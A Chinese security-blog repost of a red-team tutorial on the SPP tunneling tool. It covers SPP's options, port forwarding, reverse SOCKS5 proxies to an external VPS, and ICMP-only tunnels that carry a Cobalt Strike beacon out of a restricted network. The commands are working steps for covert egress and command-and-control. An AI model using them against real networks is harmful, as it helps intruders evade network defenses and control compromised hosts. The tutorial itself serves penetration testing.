内网隧道工具SPP尝鲜 - xlxxlx

admin 2021年12月31日14:43:11先知文章评论53 views2825字阅读9分25秒阅读模式

前言

平常演练常用的一些隧道工具像frp,nps在目标出网的情况下还是比较好用的。但是一旦遇到一些比较恶劣的环境,比如只有icmp可以出网的情况,那就需要使用其他的工具像pingtunnel,ptunnel等。
看到SPP这款工具介绍的时候三个特点引起了我的注意:

  1. 支持icmp、kcp、quic
  2. 支持双向的代理
  3. 可以自由进行内部外协议的组合

通过一个工具基本可以满足演练过程中打隧道的要求(可惜不支持dns协议)
这篇文章主要是自己研究该工具如何使用的过程

工具简介

  • 支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic
  • 支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
  • 协议和类型可以自由组合
  • 外部代理协议和内部转发协议可以自由组合

命令解释

-compress int
start compress size, 0 means off (default 128)
-encrypt string
encrypt key, empty means off (default "default")
-fromaddr value
from addr
-key string
verify key (default "123456")
-listen value
server listen addr
-loglevel string
log level (default "info")
-maxclient int
max client connection (default 8)
-maxconn int
max connection (default 128)
-name string
client name (default "client")
-nolog int
write log file
-noprint int
print stdout
-password string
socks5 password
-ping
show ping
-profile int
open profile
-proto value
main proto type: [tcp rudp ricmp kcp quic rhttp]
-proxyproto value
proxy proto type: [tcp rudp ricmp kcp quic rhttp udp]
-server string
server addr
-toaddr value
to addr
-type string
type: server/proxy_client/reverse_proxy_client/socks5_client/reverse_socks5_client
-username string
socks5 username

Server基本用法

在vps的8888端口开启tcp流量监听

spp -type server -proto tcp -listen :8888

通过修改-proto参数可以自主选择监听流量协议类型
这里需要注意,ricmp协议无需设置端口

spp -type server -proto ricmp -listen 0.0.0.0

可以使用一条命令在不同端口监听不同协议

spp -type server -proto tcp -listen :8888 -proto rudp -listen :9999 -proto ricmp -listen 0.0.0.0

Client基本用法

实验都以tcp协议进行,Server端监听8888端口。实战中只需要修改proxyproto参数就可以转换协议

正向代理端口

将vps的8999端口代理至本机8080

spp -name "test" -type proxy_client -server vps:8888 -fromaddr :8080 -toaddr :8999 -proxyproto tcp

访问本地8080端口相当于访问vps8999端口

反向代理端口

将本机器80端口代理至vps的8998端口

spp -name "test" -type reverse_proxy_client -server vps:8888 -fromaddr :8998 -toaddr :80 -proxyproto tcp

访问vps的8998相当于访问本机80

正向socks5代理

代理至server网络环境下

spp -name "test" -type socks5_client -server vps:8888 -fromaddr :8080 -proxyproto tcp

挂代理 socks5:127.0.0.1:8080
查询当前ip为vps,已进入vps网络环境

反向socks5代理

代理至client网络环境下

spp -name "test" -type reverse_socks5_client -server vps:8888 -fromaddr :8080 -proxyproto tcp

挂代理 socks5:vps:8080
查询当前ip为client,已进入client网络环境

内外部协议封装

该功能支持各种协议的嵌套使用,可使用于各种内网极端环境。只需要使用proto参数指定外部转发协议即可。
这里举例,使用udp协议做转发,内部封装tcp

Server监听udp

spp -type server -proto rudp -listen :8888

Client外部使用udp连接,内部封装tcp进行正向代理转发端口

spp -name "test" -type proxy_client -server vps:8888 -fromaddr :8080 -toaddr :8999 -proxyproto tcp -proto rudp

正常访问
内网隧道工具SPP尝鲜 -  xlxxlx
查看数据包

实战场景应用

在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。

ICMP+反向socks代理

  • Server
    spp -type server -proto ricmp -listen 0.0.0.0
  • Client
    ./spp -name "test" -type reverse_socks5_client -server vps -fromaddr :8080 -proxyproto tcp -proto ricmp

    挂代理socks5:vps:8080
    查看当前ip为client出口地址,已进入client网络环境
    内网隧道工具SPP尝鲜 -  xlxxlx

ICMP+cobaltstrike

  • Server
    反向代理用于进入目标内网,正向代理可配合远控工具进行上线。

    spp -type server -proto ricmp -listen 0.0.0.0
  • Client
    spp -name "test" -type proxy_client -server vps -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp

    配置一个http beacon,下面填c2的地址,监听8081端口
    内网隧道工具SPP尝鲜 -  xlxxlx
    再起一个本地监听的http beacon,监听本地8082
    内网隧道工具SPP尝鲜 -  xlxxlx
    使用icmp成功上线

BY:先知论坛

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日14:43:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  内网隧道工具SPP尝鲜 - xlxxlx https://cn-sec.com/archives/709376.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: